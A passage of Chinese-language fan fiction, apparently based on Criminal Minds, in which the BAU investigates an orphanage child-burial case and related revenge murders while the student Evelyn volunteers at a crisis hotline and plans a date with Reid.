她此刻正将腌制了一宿的手臂大小的猪肉装到盘子里,七八个完整的土豆也被她放到盘子里。
一旁的小孙子凌晨交接完工作才回来,此刻正在屋子里睡大觉,老爸出门锻炼。
露易莎端着盘子准备穿过客厅去前院,他们家的烤炉就在院子里。一旁的电视里的声音引起了她的注意,也是赶巧,露易莎偏头看的瞬间,视频中记者的脸立刻切换成了案件现场的画面。
最让露易莎接受不了的,就是摄像头近距离拍摄下,记者摊开自己的手靠近其中一颗头颅旁。
【最小的三岁……】
一向做什么都仿佛精神气十足的露易莎,此刻连盘子都端不稳了。
这时候楼上传来手机铃声,然后是叮叮咚咚哐当的声音。
露易莎的小孙子,二十三岁的亚当,三步四步的跨下楼梯,穿着深色警服的身影刷的进了卫生间,摸了把脸就快速的穿过客厅要出门。
他看了眼电视里的画面,猛的凑上前。
“bitch!”
亚当顶着一头深色的板寸头抱着电视破口大骂然后快速的亲了口自家祖母然后疯一般的跑了出去。
所有和福利院有所牵扯的人,除去已经死了的,都被各个州县的警察局带到警局审讯。这是一件连最高领导人看到后都震怒不已,并让各州以及联邦总局联合调查。
这个案件过于恶劣,慈善温馨的福利院变成了埋尸场。
小镇上陆陆续续来了不少法医专门检测这些尸骨,毒理、伤痕。
福利院接收孩子都会有名册,但因年代久远,早已不知去向。
孩子们无名无姓连做DNA都无法判断他们究竟是谁。
有几个倒是找到了现在还在世的亲人。有一个是八十多岁的老人,他对于惨死的亲人的印象,仅限于这个双亲去世的表哥让他的父母天天吵架。
“那时候又是打仗又是重建,家里的房子都是分的救助房,我家本身就有四个孩子快养不活了。我爸妈总是因为多养一个孩子而争吵。”
老爷子身体不太好,靠着柔软的床头,身边还有一个先进的治疗仪器,他过得很好。只不过听到表哥九岁就死了,仪器响的厉害,如同他起伏不定的胸口。
“九岁啊,”老人家念叨着太小了,他还慢吞吞的抓着警察的手,喘了几口气“如果查到是谁杀的他?为什么要杀他?请务必请告诉我……”
露易莎端着一杯热乎乎的肉桂热苹果汁敲开了房门。里面有一位FBI的探员坐在老爷子的床前。
窗帘拉开,床的对面还放了一台旧式的电视机,此刻正在播放音乐剧。
伊芙琳没有进去,她将人带到露易莎家里,就坐在门廊下等着。
同样得到的苹果汁放置在膝盖上,她身上还披着汤恩医生借给她的一件薄针织外套,似乎九月份的天气也到了忽冷忽热的时候,一夜之间天气凉了不少。
小组成员这一次难得分开。霍奇和艾米丽去了纽约,劳伦斯一家早在十年前就已经定居纽约,劳伦斯就是那家工厂的厂主。
JJ和摩根也在西雅图,从登记上看,福利院的院长比较难办,因为她们不是家族继承没有劳伦斯一家好找。从1920年左右到1999年期间,换了总共六个院长。前几个早就作古,
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调查起来会影响案件的进展。而最后一位院长,就是劳拉伍德说的那位。摩根他们已经驱车赶到了对方的家里。
为什么要对孩子下手。
JJ看着瑞德整理的劳拉的口供,提到的那些孩子身上都有不同程度的很奇怪的伤痕。有的送回来就已经无法自理,为了防止被人发现,尤其周围都是一大半都管不住自己嘴巴的孩子。
理所当然直接解决。当时是埋在地里。后期重建……
当年的施工人员似乎也不是本地的。
JJ看着上面令人心惊的叙述,不由苦笑。
瑞德将杯子握在手里,他正低头看着置于自己膝盖上照片,黑白且泛黄。
老爷子叹口气,“唱的鬼哭狼嚎的,和小莉莉唱的一样难听。”
“她和我朋友前后脚被带走,我只以为他们被领养了,所有人都这么认为。”
老爷子眼神有些恍惚,他喃喃道“他临走前还将那盒蛋糕分给我了。”
“他长得好看,又白又嫩又可爱,在孤儿院里很受大人们的欢迎。我从小长的就不好看经常被欺负,有时候吃不饱饭关禁闭,都是他偷偷将自己的面包塞给我。”老爷子到现在都记得孤儿院的面包真难吃,里面还有沙粒,他本就摇摇欲坠的牙因为面包掉了好几颗。
“他要走了,他跟我说的,有一对看起来非常和善的夫妻要将他带走,我当时很生气,他将那盒养父母送给他的蛋糕给我了。我报复性的一口塞进嘴里,可真好吃香香甜甜的。我看他舔着嘴眼馋的看着我,我还挺得意的。”
老爷子看向一旁的年轻人,嘴巴张了又闭上,眼底带着一丝小心翼翼的希冀。“我的朋友应该被领养走了吧。”他那天回去肯定吃上养父母为他准备的大蛋糕吧?
瑞德迟疑的看着满脸希冀的老人,他抿着嘴目光飘向了老人家柜子上,露易莎做的南瓜派。
一片沉默。
老爷子感觉到了什么捂着胸口,急促的喘息了两声,露易莎捂着眼睛默默的流眼泪。
瑞德感觉气氛过于沉重,他有些不适,往常都是艾米丽和JJ负责安抚受害者的家属。
瑞德差点咬到着笔缓解不自然的情绪。
他咳嗽一声,轻声问道“那您有见过那些所谓的领养者吗?”
老爷子捂着脸缓了好一会,挪开手的时候脸色已经有些难看,像是突然间那口气就散了一样想整个人肉眼可见的衰败。
瑞德看了眼露易莎,对方已经流了好一会儿眼泪,上前询问爸爸还能坚持住吗?
老爷子似乎被女儿提醒,也不知道在想什么。只沉默片刻,才攥紧手,恶狠狠道“当然!当然!”
他重复了两遍一遍比一遍重。
“小莉莉要被人收养,我将她当成我自己的妹妹,我怕她受欺负,我想看看领养人长什么样,以后我长大了也能找到她。”
“我是在头一天晚上溜进院长的办公室里,屋子里有一个大柜子,躲在里面轻易不会被发现。但也仅仅敢开完一小条缝隙往外偷看。”
“那女人烫着那个年代流行的波波头,穿着无袖的长裙。”
老爷子最后似乎想起了什么,他说他看到了男人的脚步走的不是很利索。
与此同时,纽约的劳伦斯一家的家主是十年前宣布倒闭的第三代工厂厂主。
劳伦斯被带到审讯室时,霍奇正翻看这位老人的资料,目光划过对方遗传性左脚畸形……看到后面几页劳伦斯家和福利院院长之间的金钱交易。
以及,早年对方在西雅图所犯的三一级幼童案件。
霍奇脸色沉沉,艾米丽也没好到哪去。她合上蓝色的资料夹,目光落到单面镜后,衣着时尚优雅的的老人身上。
41.第 41 章
就在福利院案件调查正在进行中。
劳伦斯家的保姆早上醒来,先去前院的大门口,从箱子里取出今早上一提牛奶。这时候社区里兼职锻炼的小报童穿着一身名牌运动服,正睡眼惺忪的姗姗来迟。停在门口,歪着身子从后面拿出一叠报纸递给保姆。
“早上好太太。”
小家伙才十岁,但已经被家里人调教的非常有礼貌。想起主家的那个外孙子十岁都已经知道拿钱哄骗姑娘回家、对着她颐指气使的样子。保姆真是不由的感叹,果然家庭教育很重要。
这连劳伦斯老先生都被请到了警察局现在都没回来、小劳伦斯先生还在外花天酒地,几个女儿也是耀武扬威傲慢无礼。保姆也就这一个月的时间就要离开纽约回乡下去了。她早就攒够了钱足以让自己接下来的时间安度晚年了。
这么一想,虽然这家人难伺候,但给的钱是真不少一点都不吝啬,冲着这个钱,保姆也是尽心尽力的伺候这一大家子。
回到厨房刚将牛奶轻轻的放到桌上,金属托架和料理台上碰撞声清脆的响起,就听到院子里开门的声音。
保姆连忙走了出去,她想着会不会是小劳伦斯先生回来了?不过看了眼厨房的时钟才六点十分,这显然不太像是小劳伦斯的作风。他总是下午甚至晚上才能回来。
躺在沙发上的发呆的小劳伦斯先生一直不吭声,保姆想着或许该拿个毯子给他盖上。
可她刚转身就觉得哪里有些不对,回头定睛一看!
保姆当时心脏刺痛的让她那声惊恐的尖叫硬生生的被压了下去。
不是发呆!眼皮!眼皮!劳伦斯先生是一双肿眼泡双眼皮,平日里睁开眼都是鼓鼓囊囊的,现在!
霍奇这边到了现场发现,劳伦斯一家包括最小的外孙,全都被人割掉了双眼皮,眼球直直的瞪着。
保姆被赶来的救护车拉走了。
现场非常的干净,除了小劳伦斯先生,其他人都在自己的床上像是安静地睡着了。只是被子掀开就能看到浸透的血液。
与此同时。
院长被发现死于家中,头被人死死的固定在西侧,眼皮被割掉,一双没有遮挡的眼球,早就没有光泽,像是干瘪的鱼眼睛死死的盯着前方,尸体上半身伤口分布密集,像是一块快要被戳烂的猪肉。
警笛声早就将这一片居住的人们吵醒,有的人穿着睡衣披着毯子跑了出了。警车三四辆的围在院外。
摩根拉高警戒线弯腰出了房门,站在警车旁打着电话,JJ还在里面。
“对,眼皮被割落。□□出血严重,具体需要解剖……被侵犯过?”
霍奇看着一旁的法医在尸体下掏出来碎裂的玻璃片,他紧皱的眉头依旧没有松开,“是的,女性被侵犯过……我推断凶手或许和福利院有关系,不过还需要尸体的验证报告。”
这两个案子可以说有千丝万缕的关系,但无论如何,他们要抓紧时间。因为不确定是否还会有别的受害者。
瑞德和罗西在小镇唯一的一家家庭式旅馆。
两人坐在卧室靠窗的小圆桌旁,看着加西亚传过来的尸检报告。
电脑上连接着四个视频小框。
“FENI过量,身体呈现无意识状态,死者在此期间没有任何挣扎。”
药物控制下,所有人没有任何反抗的能力。保姆身上也有药物残留。
“嫌疑人没有杀掉保姆,劳伦斯一家的案件目标非常明确。”瑞德绕着指尖的签字笔,目光落到一旁的福利院的尸体报告单,““福利院一共有十三具尸体有FENI的残留。”
罗西双腿交叠靠着窗户,一手托着下巴在一旁道“这十三名都是被杀的院长所在的管辖时间内。”
“受害者丧失意识,死前伤口大量刺创,创口分布呈典型的‘过度杀伤特征。颈部和躯干集中出现深度刺创,肝脏等脏器多发性破裂且腹腔大量积血。”
“没有任何试探性边缘伤口,嫌犯没有任何犹豫,□□的创伤结合以上表明凶手对死者有过度报复的情绪。”
……
与此同时华盛顿大学的校园食堂里,伊芙琳正和翠丝说起福利院的事。
昨天从露易莎的家里出来,伊芙琳就跟着科里恩主任的车走了。
虽然有些遗憾不能和喜欢的人多待一会,但她可不能老是请假,马上就要毕业了还是要收收心。
晚上去一心理急救中心问问还需不需要志愿者。
翠丝卷着意面和香肠塞到嘴里,嚼了几口突然叹口气,“伊芙,我总感觉最近发生的事,都有点挑战我的三观了。”
“我翻了翻一些这个教育方面的书,上面说孩子三岁之前不让她知道规则,三岁后性子定下来就完全没有管教的余地了。他们会变成恶魔,是不是最后还会变成杀人犯?”
“不至于吧。”伊芙琳喝了口热牛奶,“孩子正常管教不会出现什么杀人狂魔,除非是基因携带或者幼年时期遭遇过重大的变故。”
翠丝听到伊芙琳说的基因携带,她有些忍不住发慌了。基因携带?怎么还有基因携带?
“你慌什么?”伊芙琳抓着三明治啃了一口,“你是不是又干了什么事?”
翠丝有些僵,她捏着叉子的手都不动了,那双大眼睛飘忽不定。
“你没必要表现的这么明显……”
伊芙琳有些无语。
这家伙是很会撒谎的,平常伊芙琳大多看不出来,当然,除非对方想让她看出来。
翠丝嘿嘿笑了一声,但下一秒又忧心忡忡将餐盘里的香肠片全插在叉子上一口塞进嘴里,她瞥了眼好友,然后又瞥了眼。
“有话就说。”
“那个,”翠丝吞吞吐吐的凑过来小声哼唧了一声“$&”
声音又含糊又小,根本听不清。伊芙琳抬手捏着对方凑过来的下巴,声音凉飕飕“你再不好好说话,就不要说给我听了。”
都开口了不如直接大方点说出来!要么就闭嘴。
伊芙琳眼底透着这个非常明确的含义,翠丝看了眼四周,贴了过来“我好像怀孕了。”
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“……”
翠丝看着好友张着嘴半晌没说话,她也不由得慌了起来,“你别这样我害怕!”
“你……”伊芙琳震惊过后刚想说什么,突然听到有人叫了她的名字。
“伊芙琳。”
伊芙琳回头一看,惊讶道“艾丽!”
艾丽穿着一件单薄的裙子,她正双手环胸抱着自己取暖,她苦笑道“亲爱的,我外套被偷走了,你能借我一件暖和的衣服吗?”
“当然。”伊芙琳将餐盘推给翠丝,来到艾丽身边碰了碰她的手,“好凉!快跟我回家。”
“翠丝,”伊芙琳回头和翠丝递了个眼神,“我有可能会晚一点回来,别忘了……”替我喊到。
翠丝打了个手势,然后琢磨着怎么让伊芙琳陪着她去和提亚女士说,她冷不丁打了个寒颤,她会不会被打死。
伊芙琳出了校门就打车带人回了家。
艾丽一路上都没有说话,伊芙琳看她情绪不太好,就没有再说话。
回家拿了一件毛衣外套。
艾丽坐在客厅里,抱着枕头抠着手,不知道想什么眼神都直了。
伊芙琳给她披上外套,又去料理台泡了一杯红糖姜茶。回身见人还是楞楞地,她不由得有些担心。
“你还好吧,出什么事了吗?”伊芙琳将杯子递给艾丽。
艾丽捏着有些刺痛的掌心,隔着皮手套干活还是不小心磨了伤口,她接过杯子,“谢谢。”
红褐色的液体冒着蒸腾的热气,艾丽被暖气打了一脸,过了一会她才轻声道“我有些饿了。
她看起来像是丢了魂,但还知道饿,一时半会应该也没什么大事。
她给附近的披萨店打了个电话。
艾丽吹了吹热乎乎的甜水,抿了一口又热又辣,但几口下去,突然感觉身体里的寒意瞬间消散,她甚至感觉好热。
与此同时。
翠丝僵硬的坐在伊芙琳的座位上,掐着嗓子的手都放了下来,教室内一片寂静。讲台上的老师不见了踪影。哪去了呢。哦,他正抱着点名册站在翠丝的旁边。
老师推了推泛着寒光的眼镜,笔都没盖上,点着名册上的某位同学的名字,他凉飕飕地问了一句,“你到底叫翠丝,还是伊芙琳.蔡司,你当老师我色盲吗?分不清黑色和白色。”
周围突然传来笑声,翠丝一个个瞪了回去。
伊芙琳电话铃声响起时,对面的艾丽一片叠一片,正将两片披萨被她一股脑塞进嘴里,她看着伊芙琳茫然到铁青的脸,最后和电话那边道歉,“抱歉老师我马上回去,我就是…………”
伊芙琳咬牙切齿,“我就是肚子太疼了,我马上从厕所出去”翠丝!你找的好借口以及,大笨蛋!
从未有哪个学生在五百多个集中大教室里被老师发现替人喊道的情况。
大笨蛋!
没一会,这个豪华干净的公寓里只剩下艾丽,她将所有的披萨炸鸡和可乐塞进肚子里。擦掉黏糊糊的手,拿起自己的手机。
拨了电话。
42.第 42 章
伊芙琳迷迷糊糊的爬起来,看了眼自己的胸口,即便不太清晰,但感觉不会错,她摸了把自己裸露的胸脯,慢吞吞的扣上扣子。
这件衣服设计的有些奇怪。
难怪感觉睡的不踏实,好像在人群中裸奔。
看了眼手机上的显示,凌晨三点十分,她突然醒过来也不全是因为在睡梦中自己□□出镜,而是听到隔壁有什么动静。
手指将挡在脸上的头发梳拢到脑后,柔软的发丝滑落贴在脸颊两侧,她侧耳听了一会儿,怎么感觉好像还有人说话的声音,打电话吗?
伊芙琳目光落到门下的缝隙,是灯光?
她坐在被子里,想着现在是装作自己不知道然后继续睡,还是爬起来为自己的客人倒一杯热牛奶?或者热可可?
她现在好像也没什么睡意了。
翠丝家的超市有一款巴西进口的巧克力,味道不错,直接送了伊芙琳,里面有各种夹心口味,其中一款摩卡黑巧扔到牛奶里,微波炉叮一下,拿着勺子搅拌几下就成了好喝的摩卡巧克力热牛奶。
突然想喝巧克力奶了。
伊芙琳点开床头的壁灯,随手将搭在椅子上好几天薄毯裹在身上,但在此刻,她突然感觉到哪里不对劲。
脚步声,几重脚步声,绝不像一个人的脚步声。
门下缝隙的灯光突然被什么挡住了。
依旧还有人的脚步声和说话声,好像是压低声音在说些什么。
家里人从来不会不打招呼就过来。
朋友没有她的钥匙。
门锁都是防盗的。
有两条防盗链子。如果有人切割即便墙体再隔音伊芙琳也能听到。
艾丽带进来的人?
黑夜中,她手指紧紧的抓着胸前的毯子,盯着下面被挡住的光线,伊芙琳赤脚缓缓的挪到窗前蹲了下去,她颤抖着拿着手机就要报警。
突然传来轻轻的叩击声吓了她一跳,声音很轻,如果此刻伊芙琳还在沉睡,说不定根本不会听见。
她捂着嘴躲在毯子里,又是哪一路死变态都追到家里了!
伊芙琳现在跳窗户必死无疑,但变态显然也不会对她手下留情。
“睡了吧。”
这时候沙哑的声音响起,伊芙琳还轻轻的吸着鼻子眼冒泪花,她感觉这个声音有些诡异的耳熟。
门外,穿着绿色防风衣外套的瑞德眨了眨有些发涩的眼睛,熬夜虽然也是经常的事,但长时间用眼也让他眼睛有些难受。
他们本来想悄无声息的进入,但没成想。大门是被打开的。而艾丽就坐在客厅看到他们后还松口气。
被带走的时候也只是想要和伊芙琳说句话。
这么配合的共犯,他们也不是不可以帮这个忙……但是……
瑞德看了眼紧闭的房门,犹豫了一下,稍稍加重了敲门的声音。
摩根双手交叠环胸在一旁,“嘿伙计,你这么敲法,是在为伊芙琳助眠吗?”
“那你来。”青年走到一旁目光淡淡的盯着摩根,在摩根双手交叉咔咔几声松骨后,扬起手就要敲门。瑞德眼睛转向一边,看着墙壁冷不丁来了一句。“你要是想要踹门可以用脚。”
“……”摩根。
瑞德若无其事的回望。
艾米丽手搭在腰上,看着这两个幼稚的家伙,两眼望天翻了个白眼。这俩在这表演脱口秀吗?
就在几人难得有些不知道怎么办,而艾丽依旧低着头不吭声。
与此同时,门锁被打开的声音响起,艾米丽将两个大男人一把拉开,瑞德似乎想起了什么拽着摩根大步离开。直接到了客厅才松开手。
“哦呦,”摩根大惊小怪的样子,瑞德没好气的蹙眉道“幼稚!”
艾米丽看着披头散发裹着毯子走出来的姑娘,眼睛鼻子红红的像是哭过,眼底还残留着一点微不可察的恐惧。
她轻叹口气,将人抱在怀里,“亲爱的,抱歉。”
伊芙琳抱着艾米丽,半晌才发出一声哽咽,“吓死我了,我刚才听到脚步声好多脚步声……”
她真的是吓死了,要不是摩根的声音响起来,她都要考虑要不要用床单爬到楼下。
被带到客厅,即便是看到喜欢的男生,追风少女也没什么好的脸色。
瑞德站在摩根身后,目光落到了那双微红的眼睛。
而一直不吭声的艾丽抬起头,她和伊芙琳说了一句对不起。
伊芙琳甚至不知道发生了什么,莫名其妙的得到了一声对不起,见人被带走,她还没反应过来。
摩根和伊芙琳打了个招呼就率先下楼,接着是拍了拍她的肩膀的艾米丽。
瑞德抬手抵着嘴咳嗽一声,一道视线凉飕飕地看过来。伊芙琳瞪着他,他心虚的偏了视线,但最终还是踏上前一步,“抱歉。”
“你们是该道歉!”伊芙琳狠狠的用毛毯将自己的裹得紧紧的。“快吓死了!”
瑞德手机铃声响起,估摸是摩根打过来的。
伊芙琳被毛毯堵着的嘴巴瓮声瓮气道“快下去吧,他们还在等你不是吗?”
不过在走之前,伊芙琳想起了什么她扒着门冲外面的人道“我周六周日有时间,可以去找你一起看电影吗?”
这话问得起有些突兀,但伊芙琳觉得照这种纯靠意念来心灵交谈、俗称打电话相处,发展九十岁都不一定能约会,更不要说亲亲抱抱举高高了。
见伊芙琳似乎没有再生气,瑞德轻轻舒口气,他将手抄进衣服口袋里,衣服被拉扯露出被高领挡住的白皙的下颌。
“可以。”瑞德说完后觉得似乎字数有些少了,他思考了下这种情况该说什么,想到了之后才一脸认真道“我期待你的到来。”
说完后他似乎有些不太好意思,腼腆的抿着嘴“我要走了,你关上门吧。”
伊芙琳站在原地一分钟左右,回身关上门。她捂着嘴的手捏成拳头,捶了捶自己的胸口,“伊芙,相信自己的直觉,你只要踏出去一步,然后再踏一步,你就有望拥有一个男朋友了!”
不过离周六还有三天的时间。
而在此重中之重的事,就是陪着某人去医院。
翠丝有些紧张,在没叫到她的时候她那大身板都僵硬的不得了。
各项检查都做完后,医生看了眼单子,很惊讶道“你没有怀孕啊!”
“可是我测了很多次,然后我也没来月经啊。”翠丝差点跳起来。心情大起大落她显然控制不住自己。
医生低头将单子整理好放到一边,她和翠丝解释道没来月经并不意味着是怀孕,不过测了很多次……医生迟疑了一会,“会不会是你买的有什么问题……”
翠丝刚想说怎么可能,突然脸一僵硬,然后就是不可置信。
伊芙琳站在一旁,拧着翠丝的后背,轻笑着“翠丝,行了,咱们要迟到了。”
这女人皮紧巴巴的,捏的手都疼。
约的是下午四点,再不快点就要迟到了。
“我都没怀孕我就不……”不需要给孩子攒奶粉钱还未说完就被伊芙琳瞪了一眼,她闭上嘴。
工作地危机诊所就在西雅图医院旁边的大楼里。
我俩去的时候打车去的,比约定时间早了十来分钟。被人带到了一间独立的小办公室里,里面只有一张小桌子,面对面还有电脑和两台固定座机。
没有人。
只等了一小会,志愿者将主任找了过来。
以及主任身后跟着的一名帅气的小伙子,据说法律专业的大二的学生。看着倒是高高大大。
只不过志愿者的排班时间早就固定,只有一个时间时间段空着人,就是周二和周四晚上六点到十点。
诊所一共有五十名工作人员,四十名志愿
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者十名兼职。每个人的时间或许都会不同,当然也有的时间会互相交错。但是能保证的是,这个危机诊所二十四小时都会有人接听。这无疑是一件非常重要的事。
这里大部分人在上岗前都不是专业的精神学科社工,也只有伊芙琳和翠丝的专业和这个岗位非常符合。伊芙琳和翠丝分别和诊所的主任、牧师,沃恩先生聊了一个小时。
最开始是伊芙琳,她被叫进去后率先问的不是专业知识,不是面临紧急情况你需要做些什么。而是让伊芙琳用着一个小时证明,自己是一个头脑思维三观正常的,也是一个有爱心有耐心的好人。
面对紧急状况可以做到完全不慌张且能在搭档不在的时候有条有理的处理两个人的工作。
后续就是专业知识。
如果没有心理学方面的基础,是需要四十个小时的培训。
面试结束后。
翠丝第一次出来工作,这女人出来后竟然没有抱怨,而是处于一种她很兴奋的状态。
她一个劲地在车上说,“我竟然通过了!我这种的竟然还能有人要!哇哦!我好棒!”
当然她确实很棒但……
为了安全起见,伊芙琳其实不想和翠丝搭档。可同一时间段就只有这个冤家。
伊芙琳周四上班都是提心吊胆,她这几年被翠丝的不靠谱深深的折服了,她害怕对方说的哪句话不对,戳伤了本来心里有些问题的来电者。
一个弄不好,和那个有名的自杀率瞬间提高的大桥也没什么区别了。
不过,翠丝接了一通电话后,伊芙琳瞬间放下心了,甚至有些意外,这家伙还是蛮靠谱的嘛……
周四一整个晚上,隔壁组接到了一通正在实施自杀的求救人。这种百分之十的概率落在了他们的头上。
伊芙琳当时正在接听一位和家里人吵架的孩子在如此漆黑且寒凉的深夜,独自一人在电话亭里,还是一处背街。
听声音年纪很小,伊芙琳推测这个孩子十岁到十三四之间。
小家伙叫菲露,说自己想参加朋友的派对,但她的妈妈不同意,甚至发了好大的火。
“她将我的泰迪摔坏了!那是我爸爸留给我的唯一的礼物……”小家伙说着就委屈的掉眼泪,“我就不该被生下来,我妈妈总说如果不是我、爸爸就不会死,我有些克制不住的想要……但我怕疼。”
“菲露。”伊芙琳轻声道“你现在是不是很冷呀,”
这句话简直让孩子更加委屈了,嗷一嗓子哭的更大声,“我好冷!我穿着睡衣跑出来的。”
“那肯定的呀,现在气温降的太快了,如果你愿意的话,可以让我跟你妈妈谈一谈,然后让她去接你好吗。我保证她见到你的瞬间会将你牢牢地抱在怀里,说不定……她还会带一条毯子?”
“她真的不会生气吗?”小家伙看起来没什么大问题,只不过有一点点倾向但不是很严重。而对面的那对搭档可是一个在电话里费劲的安抚来电者,另一个在一旁快速的拨打急救中心的电话。
伊芙琳从孩子那里得到了她妈妈的电话。这位女士同样和家里人满大街找女儿,接到电话的时候声音明显已经濒临崩溃了。
得到女儿的消息,她在电话那边彻底痛哭起来,这位妈妈得到大致的位置,在临近超市买了一条厚厚的毯子,那上面有菲露喜欢的泰迪图案。
当伊芙琳在菲露的电话那边传来女人的感谢声,伊芙琳才挂断电话。
抬眼就见翠丝难得深色有些严肃,伊芙琳抬手托着下巴,“又怎么了?”
“我觉得,心理学不是那些人嘴里说的没用的东西。”
“它很神奇。”
翠丝眼睛越来越亮,“它还能救人呢!”
好友眼睛眨呀眨的,像是得到惊喜的小孩子一样,伊芙琳笑眯眯的道,“为了你的进步,等下班我请你吃好吃的。”
43.第 43 章
十点钟飞机降落。
起的有些早,伊芙琳在飞机上睡了一觉,靠着窗户的位置轻易不会被人打扰,还是空姐温柔的叫醒了她。
头发本来是扎起来的,编了个高麻花辫。只不过睡觉的时候大概是不舒服,扯了下去,此刻披头散发的一点都不精致了。
去了趟卫生见收拾了一下才出去。
只背着一个斜挎包的伊芙琳站在大厅看了一圈又一圈。
奇怪了……
她拿起手机想要打电话问一下人嘞,结果就看到半个小时前,她还在飞机上的时候,瑞德给她发的一条短信。
【抱歉伊芙琳,临时有工作,看到短信给我打电话好吗?】
看到短信的一瞬间,伊芙琳还是很失落的。
昨天晚上有些兴奋的睡不着,做了一宿的攻略。考虑到瑞德的性格或许不喜欢刺激性吵闹的地方,她将本本上约会最佳场所的游乐园划掉……连夜订了两张恐怖电影。
“……”当然,伊芙琳她确实有不可告人的秘密,想着来一场在黑暗中动手动脚的接触,呃例如害怕的靠过去一个肩膀。
说实在的,影院里的座椅设计的就很不合理,伊芙琳想要全身上下靠过去都有些费劲,她也是个比较害羞的人。光明正大的坐在人家腿上肯定不合适。别说瑞德的性子有可能会吓得连她一起掀倒地上,然后无辜又无措的看着她。就是伊芙琳也做不到啊。
牵手……牵手似乎也不太好意思,思来想去也只能做一些看着像条件反射而不是故意调情的动作,也只剩下鬼怪来临时,装作不经意的脑袋贴贴肩膀,但不知道到时候要不要伸脖子去贴。
如果男方是个情商在线的或许就会伸着手揽着女孩子的肩膀,贴着女孩的头轻声诱哄“乖……不怕……”
“……”
伊芙琳被自己幻想的这段换成她和瑞德的脸……咦~~她嫌弃的皱起了自己的脸,好恶心。
幸好瑞德不是这种油腻的男人……
但现在说什么都没有用了,男主角连夜跑路了。
她手攥着手机,孤单单的站在角落,精心编制的鱼骨辫和都蔫蔫的搭在肩窝上。
一旁的一个男人似乎在等着自己的女友,伊芙琳一旁就是厕所。
捧着一束淡粉色的玫瑰,温柔又不张扬,伊芙琳在一满脸艳羡。男人被看的有些不自在,他微微晃动了下身子,看了眼伊芙琳。
男人刚才就和女朋友注意到了这个从出来就在找人的女孩,在对方拿着手机不知道看到了什么后露出的失望神色,男人的女友抱着花还在猜,一定是被男朋友放了鸽子。
“呃,”男人感觉手上的花要被看穿了,“你要来一只吗?”
“……”伊芙琳反应过来,发现自己一直盯着人家手里的花确实不太好,刚说了一个不,男人又道“我后来想了想,还是不能给你,我女朋友有强迫症,少了一只她就会觉得整个人生都不完整了……”
伊芙琳寻思着还是先给瑞德打电话吧,也不知道他现在有没有时间接,反正不接也没事毕竟他的工作时间可是充满了危险和刺激。
她还是能理解的,包括对方今天突然鸽掉了两人的约会。
伊芙琳一直没和任何人说的是,她一直觉得在BAU工作的人,都带着一种说不出的光圈,就感觉他们在某种程度上,和救世主也没什么区别了。
思维发散,眼看着收都收不回来,伊芙琳连忙制止自己想东想西的脑子,按着键打电话。
一旁的男人闭上嘴巴。
———————————
瑞德双手抄兜在白板前,上面是密歇根州的整张地图。
目光专注的看着范德比尔特、罗斯康芒,贝城、萨吉诺几座城市被红色标注连接的一条线,都是靠近75号公路附近的城市。
此刻他们现在所在的位置是萨吉诺。
摩根在一旁靠着桌子,咬着笔看着资料。
这时候瑞德感觉到手机震动。
摩根在一旁看了眼,“人家打电话了,你完了瑞德。”
瑞德还未从案件思考中回过神,不过摩根说的已经非常直白了。说不紧张是不可能的。
“伊芙琳,呃抱歉,我没想到……”
瑞德揉了揉头发走到窗前很诚恳的道歉,这是他的问题,人家坐飞机赶过来,结果……
————————
“……虽然没有在出来的时候第一眼见到你有些失望,但这是你的工作不是吗?如果你是为了别的女孩子而放我鸽子,那就另当别论了。”
伊芙琳一番话如此通情达理的话让旁边捧着花的男人震惊的看着她。
“我明天下午三点的飞机,如果你能赶回来我们可以去看一场电影,如果赶不回来那你下次放假要陪我一个约会。你要去西雅图找我。”
伊芙琳再怎么倒追也不能见天的搭飞机过来见人,两人相处总得有来有往……好吧重点是机票太贵了,再来个几次真是……
“对了,你有什么推荐的美食餐厅吗?”
“行我知道了,你忙吧我先挂了。”
伊芙琳挂掉电话就准备先去吃个早午餐,是的她好可怜,早餐都没来得及吃,飞机上的早餐被她直接睡过去了。
和身边的男人道别后,她拽着自己的包快步出了机场。
在伊芙琳走后没多久,穿着大衣的高挑女人摘掉自己鼻骨上的墨镜,贵妇帽下一张保养得当的脸,看着伊芙琳的背影露出一抹意味深长的笑容。
“站在这可傍不了大款,”穿着暖乎乎的爱尔卡顶着一顶蕾丝软帽,银色的卷发精致的堆在两侧耳边,目不斜视的追着伊芙琳的身后,年近九十的老太太身子还是很硬朗的,最起码追走路慢吞吞的伊芙琳是绰绰有余了。
维多利亚这才想起来自己来这个鸟不拉屎的破地方到底是要干什么的,都怪那个将军。
说起来一方面是从二女儿奥斯卡那里得到了一条非常让她惊奇的消息,她那个只要换上袍子就可以原地去修道院的小女儿,竟然和姐姐询问如何与男人相处。
这让刚从谋杀案中洗脱罪名的维多利亚顿时雀跃了起来。
当即就准备去找伊芙琳,结果还未下车就看到她下楼打车离开。
毫无疑问,维多利亚女士掏出了一沓雇用金,当场包了司机。
司机早就带着行李离开前往酒店。
维多利亚女士包裹的非常严实,本以为那个站在伊芙琳身边抱着鲜花的黑卷毛傻大个是神秘人。结果小女儿接了一通电话人就直接走了……
她到现在都没有怀疑自家闺女被人鸽了,和爱尔卡一路来到了一家餐厅。
“是这里吗?”维多利亚女士三角红色方巾围着半张脸,墨镜后的眼睛狐疑地盯着招牌上的名字。
大力士水手超大份猪排店。
她简直不敢相信,偏着头看了眼玻璃窗里那些胖子胡吃海塞的样子,惊恐的扶着脑袋,“哦天,我的女儿不可能这么蠢,和心仪的男孩子来这种地方吃饭,她是来调情的还是增重的!妈妈我说了多少次不让她吃这种高脂肪的食物,会肥死的!”
维多利亚就要晕过去了,哦天啊。
“蠢货!”爱尔卡翻了个白眼,“从机场看不到人你就该知道她是自己一个人来吃的。”
没有哪个男人能让一个姑娘独自从机场走出来,这是公认的。爱尔卡活了几十年,从没见过一个男人能在姑娘不远万里过来找他的时候玩失踪。
爱尔卡现在都怀疑是不是奥斯卡和维多利亚这对母女俩想多了。
伊芙琳点了一份超大份猪排,足有一斤半的重量,被敲成薄片下锅炸的。切成一块一块堆叠在椭圆形的纸盒里,一份奶油柠檬沙拉酱,一份墨西哥辣椒酱,一份培根卷心菜沙拉。
她之前查攻略的时候就看到过这家店的美食视频,是一个博主旅游的时候录的视频。
博主吃猪排的样子……伊芙琳馋的不得了。
本来寻思着这次是吃不到了……
趁着热乎,沾了大半奶黄色的柠檬塞进嘴里,牙齿磕碰的酥脆肉质带着微微辛辣,柠檬酱奶香十足,将剩下小半段一起塞到嘴里
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,脸都圆了。
黄色的隔板遮挡,每一个隔间里都有人吃东西发出的声音,还有人说话的声音,柜台处上方电视播放的是球赛。
